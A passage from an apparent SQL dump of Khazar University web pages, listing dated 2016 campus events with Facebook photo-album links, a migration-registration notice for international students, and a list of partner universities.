görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1359240804086321\" target=\"_blank\">FOTO</a>)<br></p><p>01.11.2016 Qala kəndinə səyahət&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1359024537441281\" target=\"_blank\">FOTO</a>)<br></p><p>01.11.2016 İctimai xadim Rəyis Rəsulzadənin yubileyi&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1358212664189135\" target=\"_blank\">FOTO</a>)<br></p><p>01.11.2016 Mr.&nbsp;Tal Catran ile&nbsp;görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1358006377543097\" target=\"_blank\">FOTO</a>)</p>'),(2969,1760,'az','Dekabr','Dekabr','<p>30.12.2016 Yeni il şənliyi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1432839733393094\" target=\"_blank\">FOTO</a>)<br></p><p>30.12.2016 AMEA mərkəzi elmi kitabxanası nümayəndələri ilə görüş&nbsp;(<a href=\"http://30.12.2016 AMEA mərkəzi elmi kitabxanası nümayəndələri ilə görüş\" target=\"_blank\">FOTO</a>)<br></p><p>29.12.2016 Marta xanımla xudahafizləşmə&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1432704646739936\" target=\"_blank\">FOTO</a>)<br></p><p>Elm üçbucağı Hamlet İsaxanlı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1431873803489687\" target=\"_blank\">FOTO</a>)<br></p><p>28.12.2016 Communication Traning&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1431049630238771\" target=\"_blank\">FOTO</a>)<br></p><p>28.12.2016 Əlillik və əlilliyə munasibət məqalə yarışması seçmə&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1431045793572488\" target=\"_blank\">FOTO</a>)<br></p><p>26.12.2016 Leyli, Məcnun və Məhəbbət&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1430082657002135\" target=\"_blank\">FOTO</a>)<br></p><p>26.12.2016 Spagetti&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1428222270521507\" target=\"_blank\">FOTO</a>)<br></p><p>26.12.2016 \"Tempus\" lahiyəsi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1427491063927961\" target=\"_blank\">FOTO</a>)<br></p><p>23.12.2016 \"Encotec\" şirkətinin prezidenti Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1427485330595201\" target=\"_blank\">FOTO</a>)<br></p><p>23.12.2016 Elm Şənliyi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1422320364445031\" target=\"_blank\">FOTO</a>)<br></p><p>23.12.2016 Elm Şənliyi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1422148417795559\" target=\"_blank\">FOTO</a>)<br></p><p>22.12.2016 Humanitar və Mühəndislik məzunları ilə görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1421058684571199\" target=\"_blank\">FOTO</a>)<br></p><p>12.22.2016 Hüseyinin ad günü&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1420791184597949\" target=\"_blank\">FOTO</a>)<br></p><p>21.12.2016 Potensial direktorlar 5&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1419805064696561\" target=\"_blank\">FOTO</a>)<br></p><p>20.12.2016 Xanım Əhmədovanın müzakirəsi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1418082661535468\" target=\"_blank\">FOTO</a>)<br></p><p>15.12.2016 Yeni ilə hazırlıq&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1409907709019630\" target=\"_blank\">FOTO</a>)<br></p><p>15.12.2016 \"Qar\"&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1414636478546753\" target=\"_blank\">FOTO</a>)<br></p><p>17.12.2016 Gələcəyini qur&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1411376165539451\" target=\"_blank\">FOTO</a>)<br></p><p>16.12.2016 Təhsil fakültəsinin məzunları ilə universtet rəhbərliyi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1411352552208479\" target=\"_blank\">FOTO</a>)<br></p><p>16.122016 Əlyazmalar institutu&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1411322838878117\" target=\"_blank\">FOTO</a>)<br></p><p>16.12.2016 Ramiz Rövşən 70 illik&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1411321705544897\" target=\"_blank\">FOTO</a>)<br></p><p>15.12.2016 Kitab yarmarkasi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1408878289122572\" target=\"_blank\">FOTO</a>)<br></p><p>15.12.2016 Meeting wirh KASPI&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1408846802459054\" target=\"_blank\">FOTO</a>)<br></p><p>15.12.2016 Hasan Niknafs Humanitar 1 ci kurslarla görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1408845009125900\" target=\"_blank\">FOTO</a>)<br></p><p>10.12.2016 Elm Şənliyi bilik yarışması&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1407458765931191\" target=\"_blank\">FOTO</a>)<br></p><p>04.12.2016 İçəri şəhər dövlət qoruğu və Şirvanşahlar sarayı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1406158746061193\" target=\"_blank\">FOTO</a>)<br></p><p>04.12.2016 İçəri şəhər dövlət qoruğu və Şirvanşahlar sarayı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1406155076061560\" target=\"_blank\">FOTO</a>)<br></p><p>04.12.2016 İçəri şəhər dövlət qoruğu və Şirvanşahlar sarayı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1406150132728721\" target=\"_blank\">FOTO</a>)<br></p><p>04.12.2016 İçəri şəhər dövlət qoruğu və Şirvanşahlar sarayı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1406143099396091\" target=\"_blank\">FOTO</a>)<br></p><p>04.12.2016 İçəri şəhər dövlət qoruğu və Şirvanşahlar sarayı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1406128716064196\" target=\"_blank\">FOTO</a>)<br></p><p>Elektron resurslardan effektiv istifade 12.12.2016&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1404443002899434\" target=\"_blank\">FOTO</a>)<br></p><p>09.12.2016 əl çatan gələcək - əl şatan təhsil&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1402396759770725\" target=\"_blank\">FOTO</a>)<br></p><p>10.12.2016 iqtisadiyyat fakültəsinin məzunları ilə görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1402303479780053\" target=\"_blank\">FOTO</a>)<br></p><p>08.12.2016 Yarmarka&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1399713400039061\" target=\"_blank\">FOTO</a>)<br></p><p>08.12.2016 ATGTİ və Fövqaladə Hallar Nazirliyi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1399649936712074\" target=\"_blank\">FOTO</a>)<br></p><p>08.12.2016 Hamlet müəllimin Riyaziyyat departamenti ilə görüşü&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1399648993378835\" target=\"_blank\">FOTO</a>)<br></p><p>08.12.2016 P&amp;G şirkəti Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1399536530056748\" target=\"_blank\">FOTO</a>)<br></p><p>08.12.2016 İslam dinində multikultralizm&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1399357116741356\" target=\"_blank\">FOTO</a>)<br></p><p>07.12.2016 Avrasiya Bilik Mərkəzi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1399385333405201\" target=\"_blank\">FOTO</a>)</p><p>07.12.2016 Avrasiya Bilik Mərkəzi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1397910973552637\" target=\"_blank\">FOTO</a>)<br></p><p>06.12.2016 Avrasiya bilik mərkəzi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1396737840336617\" target=\"_blank\">FOTO</a>)  <br></p><p>05.12.2016 Avrasiya Bilik Mərkəzi&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1396586240351777\" target=\"_blank\">FOTO</a>)<br></p><p>03.12.2016 Qala konserti Filarmoniya&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1395067827170285\" target=\"_blank\">FOTO</a>)<br></p><p>03.12.2016 Türkdilli Xalqlarin Muasir Akademik Musiqisi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1392321467444921\" target=\"_blank\">FOTO</a>)<br></p><p>02.12.2016 Challanges of Azeri-Chirag-Guneshli muhazirəsi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1392040740806327\" target=\"_blank\">FOTO</a>)</p>'),(2970,1760,'en','December','December','<p>30.12.2016 Yeni il şənliyi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1432839733393094\" target=\"_blank\">FOTO</a>)<br></p><p>30.12.2016 AMEA mərkəzi elmi kitabxanası nümayəndələri ilə görüş&nbsp;(<a href=\"http://30.12.2016%20AMEA%20m%C9%99rk%C9%99zi%20elmi%20kitabxanas%C4%B1%20n%C3%BCmay%C9%99nd%C9%99l%C9%99ri%20il%C9%99%20g%C3%B6r%C3%BC%C5%9F/\" target=\"_blank\">FOTO</a>)<br></p><p>29.12.2016 Marta xanımla xudahafizləşmə&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1432704646739936\" target=\"_blank\">FOTO</a>)<br></p><p>Elm üçbucağı Hamlet İsaxanlı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1431873803489687\" target=\"_blank\">FOTO</a>)<br></p><p>28.12.2016 Communication Traning&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1431049630238771\" target=\"_blank\">FOTO</a>)<br></p><p>28.12.2016 Əlillik və əlilliyə munasibət məqalə yarışması seçmə&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1431045793572488\" target=\"_blank\">FOTO</a>)<br></p><p>26.12.2016 Leyli, Məcnun və Məhəbbət&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1430082657002135\" target=\"_blank\">FOTO</a>)<br></p><p>26.12.2016 Spagetti&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1428222270521507\" target=\"_blank\">FOTO</a>)<br></p><p>26.12.2016 \"Tempus\" lahiyəsi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1427491063927961\" target=\"_blank\">FOTO</a>)<br></p><p>23.12.2016 \"Encotec\" şirkətinin prezidenti Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1427485330595201\" target=\"_blank\">FOTO</a>)<br></p><p>23.12.2016 Elm Şənliyi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1422320364445031\" target=\"_blank\">FOTO</a>)<br></p><p>23.12.2016 Elm Şənliyi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1422148417795559\" target=\"_blank\">FOTO</a>)<br></p><p>22.12.2016 Humanitar və Mühəndislik məzunları ilə görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1421058684571199\" target=\"_blank\">FOTO</a>)<br></p><p>12.22.2016 Hüseyinin ad günü&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1420791184597949\" target=\"_blank\">FOTO</a>)<br></p><p>21.12.2016 Potensial direktorlar 5&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1419805064696561\" target=\"_blank\">FOTO</a>)<br></p><p>20.12.2016 Xanım Əhmədovanın müzakirəsi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1418082661535468\" target=\"_blank\">FOTO</a>)<br></p><p>15.12.2016 Yeni ilə hazırlıq&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1409907709019630\" target=\"_blank\">FOTO</a>)<br></p><p>15.12.2016 \"Qar\"&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1414636478546753\" target=\"_blank\">FOTO</a>)<br></p><p>17.12.2016 Gələcəyini qur&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1411376165539451\" target=\"_blank\">FOTO</a>)<br></p><p>16.12.2016 Təhsil fakültəsinin məzunları ilə universtet rəhbərliyi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1411352552208479\" target=\"_blank\">FOTO</a>)<br></p><p>16.122016 Əlyazmalar institutu&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1411322838878117\" target=\"_blank\">FOTO</a>)<br></p><p>16.12.2016 Ramiz Rövşən 70 illik&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1411321705544897\" target=\"_blank\">FOTO</a>)<br></p><p>15.12.2016 Kitab yarmarkasi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1408878289122572\" target=\"_blank\">FOTO</a>)<br></p><p>15.12.2016 Meeting wirh KASPI&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1408846802459054\" target=\"_blank\">FOTO</a>)<br></p><p>15.12.2016 Hasan Niknafs Humanitar 1 ci kurslarla görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1408845009125900\" target=\"_blank\">FOTO</a>)<br></p><p>10.12.2016 Elm Şənliyi bilik yarışması&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1407458765931191\" target=\"_blank\">FOTO</a>)<br></p><p>04.12.2016 İçəri şəhər dövlət qoruğu və Şirvanşahlar sarayı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1406158746061193\" target=\"_blank\">FOTO</a>)<br></p><p>04.12.2016 İçəri şəhər dövlət qoruğu və Şirvanşahlar sarayı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1406155076061560\" target=\"_blank\">FOTO</a>)<br></p><p>04.12.2016 İçəri şəhər dövlət qoruğu və Şirvanşahlar sarayı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1406150132728721\" target=\"_blank\">FOTO</a>)<br></p><p>04.12.2016 İçəri şəhər dövlət qoruğu və Şirvanşahlar sarayı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1406143099396091\" target=\"_blank\">FOTO</a>)<br></p><p>04.12.2016 İçəri şəhər dövlət qoruğu və Şirvanşahlar sarayı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1406128716064196\" target=\"_blank\">FOTO</a>)<br></p><p>Elektron resurslardan effektiv istifade 12.12.2016&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1404443002899434\" target=\"_blank\">FOTO</a>)<br></p><p>09.12.2016 əl çatan gələcək - əl şatan təhsil&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1402396759770725\" target=\"_blank\">FOTO</a>)<br></p><p>10.12.2016 iqtisadiyyat fakültəsinin məzunları ilə görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1402303479780053\" target=\"_blank\">FOTO</a>)<br></p><p>08.12.2016 Yarmarka&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1399713400039061\" target=\"_blank\">FOTO</a>)<br></p><p>08.12.2016 ATGTİ və Fövqaladə Hallar Nazirliyi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1399649936712074\" target=\"_blank\">FOTO</a>)<br></p><p>08.12.2016 Hamlet müəllimin Riyaziyyat departamenti ilə görüşü&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1399648993378835\" target=\"_blank\">FOTO</a>)<br></p><p>08.12.2016 P&amp;G şirkəti Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1399536530056748\" target=\"_blank\">FOTO</a>)<br></p><p>08.12.2016 İslam dinində multikultralizm&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1399357116741356\" target=\"_blank\">FOTO</a>)<br></p><p>07.12.2016 Avrasiya Bilik Mərkəzi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1399385333405201\" target=\"_blank\">FOTO</a>)</p><p>07.12.2016 Avrasiya Bilik Mərkəzi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1397910973552637\" target=\"_blank\">FOTO</a>)<br></p><p>06.12.2016 Avrasiya bilik mərkəzi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1396737840336617\" target=\"_blank\">FOTO</a>)&nbsp;<br></p><p>05.12.2016 Avrasiya Bilik Mərkəzi&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1396586240351777\" target=\"_blank\">FOTO</a>)<br></p><p>03.12.2016 Qala konserti Filarmoniya&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1395067827170285\" target=\"_blank\">FOTO</a>)<br></p><p>03.12.2016 Türkdilli Xalqlarin Muasir Akademik Musiqisi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1392321467444921\" target=\"_blank\">FOTO</a>)<br></p><p>02.12.2016 Challanges of Azeri-Chirag-Guneshli muhazirəsi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1392040740806327\" target=\"_blank\">FOTO</a>)</p>'),(762,533,'en','Registration for International Students and Scholars','Registration for International Students and Scholars','<p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong>ATTENTION</strong></p><p style=\"text-align:center\"><strong></strong><strong>Current and Prospective International Students and</strong></p><p style=\"text-align:center\"><strong>Scholars&nbsp;</strong><strong>at Khazar University!</strong></p><p style=\"text-align:left\"><strong></strong>Foreigners and stateless people (including Azerbaijani Georgian citizens) intending to study or work at Khazar University&nbsp; arriving in the Republic of Azerbaijan for a period of more than 3 (three) days&nbsp;should get registered on internet information resource (<a href=\"http://migration.gov.az/\"><strong>www.migration.gov.az</strong></a>) of the State Migration Service of the Republic of Azerbaijan.&nbsp;</p><p style=\"text-align:left\">For more information visit the website of the&nbsp;<a href=\"http://migration.gov.az/index.php?section=012&amp;subsection=065&amp;lang=en&amp;pageid=4750\">Azerbaijan Republic State Migration Service</a></p><p style=\"text-align:left\"><a href=\"http://migration.gov.az/index.php?section=012&amp;subsection=065&amp;lang=en&amp;pageid=4750\"></a>To register foreigners and stateless people have to fill in an Application Form from this&nbsp;<a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/%C6%8Friz%C9%99%20formas%C4%B1.doc\">link</a></p><p style=\"text-align:left\"><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/%C6%8Friz%C9%99%20formas%C4%B1.doc\"></a>The application form is in the Azerbaijani language.</p><p style=\"text-align:left\">If you need any assistance or have any questions about the registration process, do not hesitate to contact the International Affairs Office.</p>'),(763,533,'az',' Beynəlxalq tələbələrin və mütəxəssislərin qeydiyyatı',' Beynəlxalq tələbələrin və mütəxəssislərin qeydiyyatı','<p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong>Xəzər Universitetinin cari və gələcək</strong></p><p style=\"text-align:center\"><strong>Əcnəbi Müəllim və Tələbələrinin&nbsp;</strong><strong>Nəzərinə!</strong></p><p style=\"text-align:left\">Xəzər universitetində təhsil alan, işləyən və universitetlə gələcəkdə əməkdaşlıq yaratmaq niyyətində olan əcnəbi vətəndaşlar Azərbaycan Respublikasına daxil olduqları andan etibarən 3 gün ərzində Azərbaycan Respublikası Dövlət Miqrasiya Xidmətinin internet səhifəsində (<a href=\"http://www.migration.gov.az/\"><strong>www.migration.gov.az</strong></a>) qeydiyyatdan keçməlidirlər.</p><p style=\"text-align:left\">Ətraflı məlumat üçün&nbsp;<a href=\"http://migration.gov.az/index.php?section=012&amp;subsection=065&amp;lang=az\">Dövlət Miqrasiya Xidmətinin</a>&nbsp;veb səhifəsinə daxil olun&nbsp;<a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/%C6%8Friz%C9%99%20formas%C4%B1.doc\">Ərizə forması</a></p><p style=\"text-align:left\"><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/%C6%8Friz%C9%99%20formas%C4%B1.doc\"></a>Ərizə forması Azərbaycan dilindədir. Yarana biləcək suallarla əlaqədar Beynəlxalq Əlaqələr Ofisinə müraciət etməkdən çəkinməyin.&nbsp;</p><strong></strong>  <p style=\"text-align:center\"><strong><br></strong></p>'),(764,534,'en','International Partnerships','International Partnerships','<p><strong>International Partnerships with Educational Institutions and Research Organizations</strong></p><p>Khazar University has a long tradition of international cooperation.</p><p>Since its establishment, international affiliations have become one of the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world.</p><p>The current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students, and to make the unique educational and research opportunities of Azerbaijan available to students and faculty abroad.</p><p>The internationalization processes take place in the following areas:</p><br><ul><li>Bilateral cooperation agreements (with around 100 universities all over the world)</li><li>Membership in consortiums of universities such as: Eurasia University Union (EURAS), Black Sea University Association; Caspian University Association; Alliance of Universities for Democracy; International Information Security Research Consortium; and Caucasus International Consortium for Academic Cooperation (CICAC)</li><li>Participation in international educational and research programmes and projects</li><li>Exchanges of students and academic staff</li><li>International cooperation on the faculty, institute, department and individual levels.</li></ul><br><p>By participating in various consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research. Active participation within bilateral partnership agreements and European programs has promoted wide cooperation activities within the&nbsp;<a href=\"http://www.khazar.org/en/menus/493/_erasmus_mundus\">ERASMUS</a>&nbsp;program. The number of agreements with partner universities has grown in anticipation of more intensive exchanges of students and teachers.</p><p>Khazar University has become an attractive place to study both for full-time and exchange international students. Many visiting professors are involved in the study process and the faculty is active in involving more and more visiting fellows in the university.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Partner Universities:</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.leidenuniv.nl/\" target=\"_blank\">Leiden University,&nbsp;Netherlands</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.uludag.edu.tr/\">Uludagh University, Bursa, Turkey</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.balikesir.edu.tr/bau_eng\">Balikesir University, Turkey</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.comu.edu.tr/english/\">Chanakkale Onsekiz Mart University, Turkey</a><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.tugab.bg/\">Technical University of Gabrovo, Bulgaria</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.okan.edu.tr/en\">Okan University, Istanbul, Turkey</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.kozminski.edu.pl/en/\">Kozminski University, Warsaw, Poland</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.ku.edu.tr/en\">Koc University, Istanbul, Turkey</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.sgh.waw.pl/en/ogolne-en/\">Warsaw School of Economics, Warsaw, Poland</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.fh-vie.ac.at/en\">University of Applied Sciences BFI Vienna, Vienna, Austria</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.studyinnorthcyprus.org/neu.htm\">Near East University of North Cyprus</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.suu.edu/\">Southern Utah University, Cedar City, Utah, USA</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.siue.edu/\">South Illinois University Edwardsville, Illinois, USA</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.utm.my/\">University Technology Malaysia, Selangor, Malaysia</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.ubbcluj.ro/en/\">Babes-Bolyai University, Cluj-Napoca, Romania</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.swps.pl/english-version\">Warsaw School of Social Sciences and Humanities, Warsaw, Poland</a><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.erciyes.edu.tr/en/\">Erciyes University, Kayseri, Turkey</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.elmergib.edu.ly/\">The University of Al Mergib, Khoms, Libya</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong style=\"color:#6699cc\">University of Zawia, Libya</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.ritsumei.ac.jp/eng/\">Ritsumeikan University; Ritsumeikan Asia Pacific University, Kyoto, Japan</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://eng.ssu.ac.kr/web/eng\">Soongsil University, Seoul Korea</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.doshisha.ac.jp/english/\">Doshisha University, Japan</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.ait.asia/\">Asian Institute of Technologies, Thailand</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://english.hallym.ac.kr/\">Hallym University, South Korea</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.ipag.fr/en/\">Institute De Preparation a l\'administration et a la gestion, Business School, Paris-Nice, France</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://int.krok.edu.ua/en/\">Университет Экономики и Права \"КРОК\", Киев, Украина</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://tesau.edu.ge/uk/?lang=eng\">Telavi State University (TESAU), Telavi, Georgia</a></p><p style=\"font-family:arial, helvetica, 